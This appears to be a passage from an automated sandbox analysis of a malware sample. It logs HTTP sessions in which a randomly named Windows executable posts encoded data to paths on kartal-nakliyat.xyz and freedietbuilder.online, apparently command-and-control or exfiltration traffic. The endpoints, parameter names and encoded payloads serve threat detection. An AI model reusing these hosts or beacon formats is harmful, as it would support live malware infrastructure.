                                                                                              14192.168.2.74998485.159.66.93805196C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exe
                                                                                              TimestampBytes transferredDirectionData
                                                                                              Oct 23, 2024 17:33:23.346483946 CEST732OUTPOST /m55w/ HTTP/1.1
                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                                                                              Accept-Encoding: gzip, deflate, br
                                                                                              Accept-Language: en-US
                                                                                              Host: www.kartal-nakliyat.xyz
                                                                                              Origin: http://www.kartal-nakliyat.xyz
                                                                                              Content-Length: 240
                                                                                              Cache-Control: max-age=0
                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                              Connection: close
                                                                                              Referer: http://www.kartal-nakliyat.xyz/m55w/
                                                                                              User-Agent: Mozilla/5.0 (X11; Linux i686; rv:32.0) Gecko/20100101 Firefox/32.0
                                                                                              Data Raw: 4f 52 65 68 31 72 71 3d 77 6e 4e 4b 52 50 4a 6b 70 57 54 53 57 52 65 54 50 4f 4e 6b 49 57 65 58 6e 54 2f 4f 35 41 68 51 6f 6d 52 52 7a 4b 69 6c 54 44 4f 2b 67 4d 65 64 46 33 53 63 54 36 4f 4e 4a 55 45 56 61 75 74 46 73 63 71 37 34 77 44 6c 59 69 78 67 43 50 4b 54 35 32 53 4d 42 38 55 75 71 44 35 46 37 4e 4a 2b 62 75 46 69 4a 32 53 30 55 53 67 63 73 68 73 4a 46 45 6d 66 61 69 62 64 72 42 52 4f 76 47 6a 6a 42 74 47 2f 59 67 45 63 45 47 69 6b 58 6f 70 6b 61 72 50 36 35 76 4f 4a 6d 45 51 6a 74 5a 73 43 73 5a 53 67 47 6a 71 67 6a 68 44 35 32 63 72 30 6c 4f 76 62 46 71 43 63 6e 42 55 4f 45 7a 4b 58 49 48 76 63 76 56 57 49 4f 6e 49 67 42 4c 5a 43 58 77 30 78 43 5a 62 2f 52 45 45 6a 4e 79 6d 6a 4c 65 52 2b 6c 4d 6f 3d
                                                                                              Data Ascii: OReh1rq=wnNKRPJkpWTSWReTPONkIWeXnT/O5AhQomRRzKilTDO+gMedF3ScT6ONJUEVautFscq74wDlYixgCPKT52SMB8UuqD5F7NJ+buFiJ2S0USgcshsJFEmfaibdrBROvGjjBtG/YgEcEGikXopkarP65vOJmEQjtZsCsZSgGjqgjhD52cr0lOvbFqCcnBUOEzKXIHvcvVWIOnIgBLZCXw0xCZb/REEjNymjLeR+lMo=


                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                              15192.168.2.74998585.159.66.93805196C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exe
                                                                                              TimestampBytes transferredDirectionData
                                                                                              Oct 23, 2024 17:33:25.903220892 CEST1745OUTPOST /m55w/ HTTP/1.1
                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                                                                              Accept-Encoding: gzip, deflate, br
                                                                                              Accept-Language: en-US
                                                                                              Host: www.kartal-nakliyat.xyz
                                                                                              Origin: http://www.kartal-nakliyat.xyz
                                                                                              Content-Length: 1252
                                                                                              Cache-Control: max-age=0
                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                              Connection: close
                                                                                              Referer: http://www.kartal-nakliyat.xyz/m55w/
                                                                                              User-Agent: Mozilla/5.0 (X11; Linux i686; rv:32.0) Gecko/20100101 Firefox/32.0
                                                                                              Data Raw: 4f 52 65 68 31 72 71 3d 77 6e 4e 4b 52 50 4a 6b 70 57 54 53 57 52 65 54 50 4f 4e 6b 49 57 65 58 6e 54 2f 4f 35 41 68 51 6f 6d 52 52 7a 4b 69 6c 54 44 47 2b 68 35 53 64 45 51 4f 63 53 36 4f 4e 47 45 45 51 61 75 73 46 73 63 79 2f 34 77 66 62 59 67 35 67 43 73 79 54 2f 48 53 4d 50 38 55 75 31 7a 35 45 32 74 49 71 62 71 59 70 4a 32 69 30 55 53 67 63 73 6d 63 4a 47 56 6d 66 4a 79 62 61 69 68 52 53 72 47 6a 50 42 74 2f 43 59 67 51 32 45 31 71 6b 58 49 35 6b 57 39 62 36 32 76 4f 48 68 45 51 37 74 59 51 42 73 5a 4f 73 47 6a 7a 48 6a 6a 44 35 6e 4e 58 70 35 4e 48 66 62 37 32 34 37 7a 59 2f 4c 67 37 69 45 46 6e 48 76 6c 66 71 50 30 4d 59 4d 70 5a 63 53 6e 78 38 59 2f 6e 4e 49 32 6c 71 4a 48 61 6d 61 75 35 41 6d 38 55 4f 30 4f 4b 5a 4c 54 6b 47 39 6f 6a 71 4f 59 4f 31 2b 31 56 71 66 70 6c 6d 7a 77 59 38 78 4e 79 70 77 52 6d 36 59 57 65 34 6f 55 74 67 78 63 65 4e 47 62 4c 62 33 37 48 41 49 2b 42 64 72 65 52 38 4b 48 54 50 47 79 39 48 44 4e 4e 37 44 50 34 56 4e 36 66 45 54 79 6c 67 38 5a 43 48 38 4a 53 55 78 4d [TRUNCATED]
                                                                                              Data Ascii: OReh1rq=wnNKRPJkpWTSWReTPONkIWeXnT/O5AhQomRRzKilTDG+h5SdEQOcS6ONGEEQausFscy/4wfbYg5gCsyT/HSMP8Uu1z5E2tIqbqYpJ2i0USgcsmcJGVmfJybaihRSrGjPBt/CYgQ2E1qkXI5kW9b62vOHhEQ7tYQBsZOsGjzHjjD5nNXp5NHfb7247zY/Lg7iEFnHvlfqP0MYMpZcSnx8Y/nNI2lqJHamau5Am8UO0OKZLTkG9ojqOYO1+1VqfplmzwY8xNypwRm6YWe4oUtgxceNGbLb37HAI+BdreR8KHTPGy9HDNN7DP4VN6fETylg8ZCH8JSUxM3/u2z+Cvct8pfU3z+wq4tPOCJMZTlD2prIdeuufvng9iTAIXcX/jEuPnKQgkdfhVG47/O1OY//YHUH1Xn4/cEysn7hUYLk12QIsTvDGgDskLGCjhWtPfjgodaLZ1koHzBY+DG8dW7ald1GF686JT12fxZLu3CCwZzVoV4c4uFB1T1LSy/GjmBhPGIuz2QcCQEKCCiANlXuTyG60QFCN3QpnYIW4eK7AXa5Wf5Oyn2vW6/GPz6NC+S/SnsXAYxnLurNisvOZER22nNSJ5uNlZfwCVpVNa033+tUCGuENly4mD6FDRD+pNttiUSx6wgw3cGbTtb+Ujf0oewGYczDh8qx7ycsTeNqFZkhzh9L2XqX2BUVkM3FdfoYHyqJMT0/Zbys3B7CFbdw/RkyHDEopyfdKGSf1q0IUoCrsIM5bYzffznvKDJUOowD01R/jIvgi7tEYj3vS2NjCwf1GwyEGy+p5U/axH9JMtB9pItSuddTbbGqaMnDoCBRObXR2PAc10wjOwqbEbkGeEZJkbeqTbB4irFffbFd4GlsO07uHngkRCy0u5zqziOxbdsFL60N9/5I4OrArQtXHdLvgD4rR71A9GX/wiXGGxEVvszCcy9P5k0BtTyWjJymupakVhUGS3wuCdvvjKAsY89a4f47oJ3GJYxQHq4NEofW [TRUNCATED]


                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                              16192.168.2.74998685.159.66.93805196C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exe
                                                                                              TimestampBytes transferredDirectionData
                                                                                              Oct 23, 2024 17:33:28.445630074 CEST437OUTGET /m55w/?OReh1rq=9llqS7l5r2fZE2qKLahaIkLgunrNzhdfh2Fa8uGkHzeY69X6DmW7eYPfa18EH489ndWHoC7ISC9XGeCzxUHdefh+2UUEydNUM+R9LWmaUjMU6yBTHkWVZyPnnhgR6zjaK6ylcCAOGnqo&CvQl=nrm0ZhFpzl HTTP/1.1
                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                                                                              Accept-Language: en-US
                                                                                              Host: www.kartal-nakliyat.xyz
                                                                                              Connection: close
                                                                                              User-Agent: Mozilla/5.0 (X11; Linux i686; rv:32.0) Gecko/20100101 Firefox/32.0
                                                                                              Oct 23, 2024 17:34:29.340111017 CEST194INHTTP/1.0 504 Gateway Time-out
                                                                                              Cache-Control: no-cache
                                                                                              Connection: close
                                                                                              Content-Type: text/html
                                                                                              Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 35 30 34 20 47 61 74 65 77 61 79 20 54 69 6d 65 2d 6f 75 74 3c 2f 68 31 3e 0a 54 68 65 20 73 65 72 76 65 72 20 64 69 64 6e 27 74 20 72 65 73 70 6f 6e 64 20 69 6e 20 74 69 6d 65 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                                                              Data Ascii: <html><body><h1>504 Gateway Time-out</h1>The server didn't respond in time.</body></html>


                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                              17192.168.2.749987188.114.97.3805196C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exe
                                                                                              TimestampBytes transferredDirectionData
                                                                                              Oct 23, 2024 17:34:34.558996916 CEST721OUTPOST /nnla/ HTTP/1.1
                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                                                                              Accept-Encoding: gzip, deflate, br
                                                                                              Accept-Language: en-US
                                                                                              Host: www.freedietbuilder.online
                                                                                              Origin: http://www.freedietbuilder.online
                                                                                              Content-Length: 220
                                                                                              Cache-Control: max-age=0
                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                              Connection: close
                                                                                              Referer: http://www.freedietbuilder.online/nnla/
                                                                                              User-Agent: Mozilla/5.0 (X11; Linux i686; rv:32.0) Gecko/20100101 Firefox/32.0
                                                                                              Data Raw: 4f 52 65 68 31 72 71 3d 50 6f 67 77 46 6d 46 67 33 4a 54 45 58 62 68 47 4d 59 43 71 5a 75 59 6a 32 51 31 4f 4d 33 4c 62 75 41 72 68 43 37 53 34 43 66 56 6d 57 50 47 54 63 70 51 69 54 57 55 73 64 68 32 47 72 36 38 4d 72 44 6e 69 52 38 4f 71 33 57 6d 46 63 56 59 2b 48 57 7a 39 37 38 38 57 49 36 46 44 43 4d 71 2b 30 36 33 4e 57 58 70 78 75 4e 32 6b 46 31 34 4d 4c 65 37 73 78 69 55 52 77 64 56 36 73 47 5a 4e 57 65 46 46 6c 36 41 49 36 76 69 44 34 41 36 73 46 54 6e 55 2f 50 31 4d 51 66 57 54 7a 6d 72 58 38 37 31 66 37 45 48 6a 73 59 35 56 63 4b 66 54 6d 62 2f 42 6f 65 38 31 30 62 74 33 4f 2f 69 30 62 6e 7a 35 71 45 4c 72 62 52 31 42 72 36 67 74 31 77 3d 3d
                                                                                              Data Ascii: OReh1rq=PogwFmFg3JTEXbhGMYCqZuYj2Q1OM3LbuArhC7S4CfVmWPGTcpQiTWUsdh2Gr68MrDniR8Oq3WmFcVY+HWz9788WI6FDCMq+063NWXpxuN2kF14MLe7sxiURwdV6sGZNWeFFl6AI6viD4A6sFTnU/P1MQfWTzmrX871f7EHjsY5VcKfTmb/Boe810bt3O/i0bnz5qELrbR1Br6gt1w==
                                                                                              Oct 23, 2024 17:34:35.223987103 CEST1076INHTTP/1.1 404 Not Found
                                                                                              Date: Wed, 23 Oct 2024 15:34:35 GMT
                                                                                              Content-Type: text/html
                                                                                              Transfer-Encoding: chunked
                                                                                              Connection: close
                                                                                              Vary: Accept-Encoding
                                                                                              cf-cache-status: DYNAMIC
                                                                                              Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wAqQ5TbcTJhmIFCqkUeviX0KKpl%2Fdge%2FAWWxA6J7ZMdpaKK6yTuWPDuE%2Fv85gWqQp5MfFUjqOevU6InqaGs%2FZeWHa1Xbh8FMB%2FMdlZ%2F7s2ZJAqGiAPAuWs4NN45rVu7%2Ftm%2FUYfSHUyd4BUoScw%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                              NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                              Server: cloudflare
                                                                                              CF-RAY: 8d72cac53f856c07-DFW
                                                                                              Content-Encoding: gzip
                                                                                              alt-svc: h3=":443"; ma=86400
                                                                                              server-timing: cfL4;desc="?proto=TCP&rtt=1182&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=721&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                              Data Raw: 66 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 65 90 bd 4e c4 30 10 84 fb 7b 0a 63 89 d2 71 4e 74 f9 6b 80 1a 0a 1a 2a e4 d8 9b c4 92 ed b5 ec 0d b9 f0 f4 c8 09 57 51 ed 37 a3 dd 19 69 bb 87 97 b7 e7 8f cf f7 57 b6 90 77 c3 a5 3b 07 63 8c 75 76 4a ca 03 cb 49 f7 7c 21 8a b9 91 52 3b 5c cd a6 f6 2c 32 29 b2 5a 68 0c 04 81 aa fc 54 ad 59 80 ca 24 ae 95 f2 ea 07 83 da 72 a5 d1 4b 48 09 d3 57 54 33 48 af 6c 59 57 41 83 30 58 94 f0 2a 46 1b e6 aa 14 73 76 54 8e 98 0c a4 9e d7 9c 65 da 1d f4 1c bf 21 4d 0e b7 66 b1 c6 40 68 ef 5a dc fe 39 fb dd 59 c0 ce 0b 35 d7 ba 7e 6c 37 6b 68 39 31 62 b6 64 31 34 6a cc e8 56 82 96 30 36 75 bc b5 0e 26 3a 20 1d 87 85 46 24 42 5f 90 b3 33 af e7 25 85 b3 23 f1 4f 0c 9d 3c 7f 35 5c 3a 79 3c f0 17 66 f7 1e 64 57 01 00 00 0d 0a 30 0d 0a 0d 0a
                                                                                              Data Ascii: f7eN0{cqNtk*WQ7iWw;cuvJI|!R;\,2)ZhTY$rKHWT3HlYWA0X*FsvTe!Mf@hZ9Y5~l7kh91bd14jV06u&: F$B_3%#O<5\:y<fdW0


                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                              18192.168.2.749988188.114.97.3805196C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exe
                                                                                              TimestampBytes transferredDirectionData
                                                                                              Oct 23, 2024 17:34:37.102175951 CEST741OUTPOST /nnla/ HTTP/1.1
                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                                                                              Accept-Encoding: gzip, deflate, br
                                                                                              Accept-Language: en-US
                                                                                              Host: www.freedietbuilder.online
                                                                                              Origin: http://www.freedietbuilder.online
                                                                                              Content-Length: 240
                                                                                              Cache-Control: max-age=0
                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                              Connection: close
                                                                                              Referer: http://www.freedietbuilder.online/nnla/
                                                                                              User-Agent: Mozilla/5.0 (X11; Linux i686; rv:32.0) Gecko/20100101 Firefox/32.0
                                                                                              Data Raw: 4f 52 65 68 31 72 71 3d 50 6f 67 77 46 6d 46 67 33 4a 54 45 46 6f 35 47 4f 2f 65 71 4d 65 59 38 36 77 31 4f 44 58 4b 53 75 48 6a 68 43 2f 4b 6f 43 73 78 6d 58 74 75 54 64 6f 51 69 51 57 55 73 50 42 32 48 76 36 38 39 72 44 71 43 52 39 79 71 33 53 32 46 63 52 63 2b 48 68 6e 2b 35 73 38 75 52 4b 46 4e 66 63 71 2b 30 36 33 4e 57 54 46 62 75 4e 75 6b 46 46 49 4d 4e 2f 37 74 37 43 55 53 6d 4e 56 36 6e 6d 5a 42 57 65 45 31 6c 2b 42 56 36 73 57 44 34 42 4b 73 45 42 50 58 31 50 31 47 50 76 58 78 79 57 33 59 31 35 56 68 32 32 76 57 74 76 6b 76 64 38 43 78 38 35 7a 74 32 50 45 4f 77 5a 4a 42 5a 5a 2f 42 5a 6d 33 68 6e 6d 2f 4b 45 6d 51 72 6d 6f 42 70 6a 4a 75 6f 67 49 70 4d 73 66 73 2b 6d 41 33 44 6e 4b 74 4c 4f 73 63 3d
                                                                                              Data Ascii: OReh1rq=PogwFmFg3JTEFo5GO/eqMeY86w1ODXKSuHjhC/KoCsxmXtuTdoQiQWUsPB2Hv689rDqCR9yq3S2FcRc+Hhn+5s8uRKFNfcq+063NWTFbuNukFFIMN/7t7CUSmNV6nmZBWeE1l+BV6sWD4BKsEBPX1P1GPvXxyW3Y15Vh22vWtvkvd8Cx85zt2PEOwZJBZZ/BZm3hnm/KEmQrmoBpjJuogIpMsfs+mA3DnKtLOsc=
                                                                                              Oct 23, 2024 17:34:37.771912098 CEST1072INHTTP/1.1 404 Not Found
                                                                                              Date: Wed, 23 Oct 2024 15:34:37 GMT
                                                                                              Content-Type: text/html
                                                                                              Transfer-Encoding: chunked
                                                                                              Connection: close
                                                                                              Vary: Accept-Encoding
                                                                                              cf-cache-status: DYNAMIC
                                                                                              Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cy%2F7y61bDw3hyeqUzVOgyabdjB2qYWoCD4K97Y1WO2R%2FKak5qdiw9UNpNJwB%2Bn5Eew82Lf2kQKD4KhOArbKs1fKTIQyGsne2fRnpbk6W%2BhBoYP2b2wQmAQ%2Bec7RxZ6D3MGZHA1ccRU6%2BKXlEqg%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                              NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                              Server: cloudflare
                                                                                              CF-RAY: 8d72cad53b15e7eb-DFW
                                                                                              Content-Encoding: gzip
                                                                                              alt-svc: h3=":443"; ma=86400
                                                                                              server-timing: cfL4;desc="?proto=TCP&rtt=1178&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=741&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                              Data Raw: 66 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 65 90 bd 4e c4 30 10 84 fb 7b 0a 63 89 d2 71 4e 74 f9 6b 80 1a 0a 1a 2a e4 d8 9b c4 92 ed b5 ec 0d b9 f0 f4 c8 09 57 51 ed 37 a3 dd 19 69 bb 87 97 b7 e7 8f cf f7 57 b6 90 77 c3 a5 3b 07 63 8c 75 76 4a ca 03 cb 49 f7 7c 21 8a b9 91 52 3b 5c cd a6 f6 2c 32 29 b2 5a 68 0c 04 81 aa fc 54 ad 59 80 ca 24 ae 95 f2 ea 07 83 da 72 a5 d1 4b 48 09 d3 57 54 33 48 af 6c 59 57 41 83 30 58 94 f0 2a 46 1b e6 aa 14 73 76 54 8e 98 0c a4 9e d7 9c 65 da 1d f4 1c bf 21 4d 0e b7 66 b1 c6 40 68 ef 5a dc fe 39 fb dd 59 c0 ce 0b 35 d7 ba 7e 6c 37 6b 68 39 31 62 b6 64 31 34 6a cc e8 56 82 96 30 36 75 bc b5 0e 26 3a 20 1d 87 85 46 24 42 5f 90 b3 33 af e7 25 85 b3 23 f1 4f 0c 9d 3c 7f 35 5c 3a 79 3c f0 17 66 f7 1e 64 57 01 00 00 0d 0a 30 0d 0a 0d 0a
                                                                                              Data Ascii: f7eN0{cqNtk*WQ7iWw;cuvJI|!R;\,2)ZhTY$rKHWT3HlYWA0X*FsvTe!Mf@hZ9Y5~l7kh91bd14jV06u&: F$B_3%#O<5\:y<fdW0


                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                              19192.168.2.749989188.114.97.3805196C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exe
                                                                                              TimestampBytes transferredDirectionData
                                                                                              Oct 23, 2024 17:34:39.644583941 CEST1754OUTPOST /nnla/ HTTP/1.1
                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                                                                              Accept-Encoding: gzip, deflate, br
                                                                                              Accept-Language: en-US
                                                                                              Host: www.freedietbuilder.online
                                                                                              Origin: http://www.freedietbuilder.online
                                                                                              Content-Length: 1252
                                                                                              Cache-Control: max-age=0
                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                              Connection: close
                                                                                              Referer: http://www.freedietbuilder.online/nnla/
                                                                                              User-Agent: Mozilla/5.0 (X11; Linux i686; rv:32.0) Gecko/20100101 Firefox/32.0
                                                                                              Data Raw: 4f 52 65 68 31 72 71 3d 50 6f 67 77 46 6d 46 67 33 4a 54 45 46 6f 35 47 4f 2f 65 71 4d 65 59 38 36 77 31 4f 44 58 4b 53 75 48 6a 68 43 2f 4b 6f 43 73 35 6d 57 65 57 54 63 50 4d 69 52 57 55 73 4d 42 32 61 76 36 38 61 72 44 79 64 52 39 2f 66 33 51 2b 46 63 79 55 2b 42 51 6e 2b 77 73 38 75 4d 36 46 4d 43 4d 71 33 30 36 6e 4a 57 54 31 62 75 4e 75 6b 46 47 51 4d 4e 75 37 74 39 43 55 52 77 64 56 32 73 47 5a 74 57 65 4d 44 6c 2b 55 69 36 66 4f 44 34 68 61 73 43 30 54 58 7a 66 31 49 4d 76 58 58 79 57 36 59 31 35 5a 48 32 32 32 37 74 6f 49 76 63 71 7a 5a 6e 4e 2b 36 76 4e 30 44 7a 62 46 6e 50 36 75 30 58 6c 62 4e 6d 33 75 76 47 33 59 4d 76 62 46 31 76 2b 50 6f 2f 71 56 78 31 50 41 75 6f 58 57 56 7a 49 78 75 56 34 69 4f 4b 38 39 46 69 74 33 33 75 41 47 6d 72 43 64 56 6c 43 70 4b 56 2f 71 6a 6e 50 6e 71 59 68 34 70 7a 55 62 7a 62 6c 59 4d 57 65 53 67 56 4a 4b 46 35 42 66 46 73 7a 39 4c 30 73 30 52 63 67 51 73 64 75 6c 7a 74 79 30 49 38 31 41 52 2b 6f 50 38 71 31 75 45 4a 6b 2f 4d 75 65 46 49 4d 58 4a 34 6e 33 [TRUNCATED]
                                                                                              Data Ascii: OReh1rq=PogwFmFg3JTEFo5GO/eqMeY86w1ODXKSuHjhC/KoCs5mWeWTcPMiRWUsMB2av68arDydR9/f3Q+FcyU+BQn+ws8uM6FMCMq306nJWT1buNukFGQMNu7t9CURwdV2sGZtWeMDl+Ui6fOD4hasC0TXzf1IMvXXyW6Y15ZH2227toIvcqzZnN+6vN0DzbFnP6u0XlbNm3uvG3YMvbF1v+Po/qVx1PAuoXWVzIxuV4iOK89Fit33uAGmrCdVlCpKV/qjnPnqYh4pzUbzblYMWeSgVJKF5BfFsz9L0s0RcgQsdulzty0I81AR+oP8q1uEJk/MueFIMXJ4n3ts8spCVJ/yIjVuOFSvn/xXMxZdnCn//Dp3jxs+sCft7063dIfiImpHcEashltEUJZmF67R6HmchGFbHHPsCmuevG2ZTbSWpOvb+ELvDCJHd7ya57wbLqLxgclgENazDXt5qUSG1pp8W5ztGmxcoK4HPL5v7LlvLZHiIjEKnMthTbljd+i/ZmS1c6XpCsl+kBM0pklcbS348A1z0WlpSLVUPXu8ytxZkcEYwUlneWnbQZq7lnW4VUa8ETTnBDTS5quMnVZCeQwm6S/7QTMEAE0aiJk6Wvullnr/iVCf/QRxVUXhAggNp2/ddZdCmigxxqKbbXSV1sKozE3gajvGhrF3K6SWfEFuWWUDMGmIYUoPpfO36Z82+2HmH1XmdCMmZ17sGsXWAu5FIWjKoaWQ4cDimm37id55MnAEtZ8eO+A0NK3nwPWUxFBbQoBoAhQu8c1kMbcqJwpZ6sHNzoEAB/faa19SEAO3iJOjH9qgSAqU6bVQD82vrqJPP4xSVS4plS3uCk2xlaqI6ph1zWYMfPoTm7WhdrgB2bTrL8GrqlMEDAuA0Em7LSASS3JcIz08WBqzzYVLXYH7czKrM6oyF191mIYJQ/cBgSW15xKTkqGMJnTpWorB36X72BIURVe6U006G2p4VZ2ZMpnu5H4FnaPzI5/P1NpesiiQ [TRUNCATED]
                                                                                              Oct 23, 2024 17:34:40.328186989 CEST1069INHTTP/1.1 404 Not Found
                                                                                              Date: Wed, 23 Oct 2024 15:34:40 GMT
                                                                                              Content-Type: text/html
                                                                                              Transfer-Encoding: chunked
                                                                                              Connection: close
                                                                                              Vary: Accept-Encoding
                                                                                              cf-cache-status: DYNAMIC
                                                                                              Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EqMS%2Bdg1P5a5TZYRR2I5%2FcHKBVUJThoauFhMs3l41V9DnfDCJ0P4MLvNbPzN%2FIcRhSWG%2BuM1kYqzIqp2z21cUjss1w9KOPpqmLBhY0Av25d01sli3iZThOg7TUGtXa8cLmnYLuh6GDixibpBmA%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                              NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                              Server: cloudflare
                                                                                              CF-RAY: 8d72cae52ffdb793-DFW
                                                                                              Content-Encoding: gzip
                                                                                              alt-svc: h3=":443"; ma=86400
                                                                                              server-timing: cfL4;desc="?proto=TCP&rtt=1595&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=1754&delivery_rate=0&cwnd=119&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                              Data Raw: 66 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 65 90 bd 4e c4 30 10 84 fb 7b 0a 63 89 d2 71 4e 74 f9 6b 80 1a 0a 1a 2a e4 d8 9b c4 92 ed b5 ec 0d b9 f0 f4 c8 09 57 51 ed 37 a3 dd 19 69 bb 87 97 b7 e7 8f cf f7 57 b6 90 77 c3 a5 3b 07 63 8c 75 76 4a ca 03 cb 49 f7 7c 21 8a b9 91 52 3b 5c cd a6 f6 2c 32 29 b2 5a 68 0c 04 81 aa fc 54 ad 59 80 ca 24 ae 95 f2 ea 07 83 da 72 a5 d1 4b 48 09 d3 57 54 33 48 af 6c 59 57 41 83 30 58 94 f0 2a 46 1b e6 aa 14 73 76 54 8e 98 0c a4 9e d7 9c 65 da 1d f4 1c bf 21 4d 0e b7 66 b1 c6 40 68 ef 5a dc fe 39 fb dd 59 c0 ce 0b 35 d7 ba 7e 6c 37 6b 68 39 31 62 b6 64 31 34 6a cc e8 56 82 96 30 36 75 bc b5 0e 26 3a 20 1d 87 85 46 24 42 5f 90 b3 33 af e7 25 85 b3 23 f1 4f 0c 9d 3c 7f 35 5c 3a 79 3c f0 17 66 f7 1e 64 57 01 00 00 0d 0a 30 0d 0a 0d 0a
                                                                                              Data Ascii: f7eN0{cqNtk*WQ7iWw;cuvJI|!R;\,2)ZhTY$rKHWT3HlYWA0X*FsvTe!Mf@hZ9Y5~l7kh91bd14jV06u&: F$B_3%#O<5\:y<fdW0


                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                              20192.168.2.749993188.114.97.3805196C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exe
                                                                                              TimestampBytes transferredDirectionData
                                                                                              Oct 23, 2024 17:34:42.188899994 CEST440OUTGET /nnla/?OReh1rq=CqIQGQ0o8+jhRdpyYLS2Ou54wXZmDhGBl2CfLfjcYft2NeK1a5UMcHptbiGPm/AWvx7/GdfV8RGwRyU2PymhnZZ7RowUctSqrqn8UFFkmP+DJHtVFd6xywEuosIKzWdoXOs+sf4OzNSo&CvQl=nrm0ZhFpzl HTTP/1.1
                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                                                                              Accept-Language: en-US
                                                                                              Host: www.freedietbuilder.online
                                                                                              Connection: close
                                                                                              User-Agent: Mozilla/5.0 (X11; Linux i686; rv:32.0) Gecko/20100101 Firefox/32.0
                                                                                              Oct 23, 2024 17:34:42.856741905 CEST1143INHTTP/1.1 404 Not Found
                                                                                              Date: Wed, 23 Oct 2024 15:34:42 GMT
                                                                                              Content-Type: text/html
                                                                                              Transfer-Encoding: chunked
                                                                                              Connection: close
                                                                                              Vary: Accept-Encoding
                                                                                              cf-cache-status: DYNAMIC
                                                                                              Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SwbYJ53ov%2BoPjubo1Ku0BlwxYIMn43sJH968EI9wudt7kHYmqckgsSREjk8PQ7Q0f2fynL2RHJoXMNELZcihWi3ffA%2Fs6H7WpXEyR1pcxYneO1ahfAAMl5XZlAkOhs5LxuB%2F%2FyX3SlYcjCl%2Fxg%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                              NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                              Server: cloudflare
                                                                                              CF-RAY: 8d72caf50809cb75-DFW
                                                                                              alt-svc: h3=":443"; ma=86400
                                                                                              server-timing: cfL4;desc="?proto=TCP&rtt=1359&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=440&delivery_rate=0&cwnd=181&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
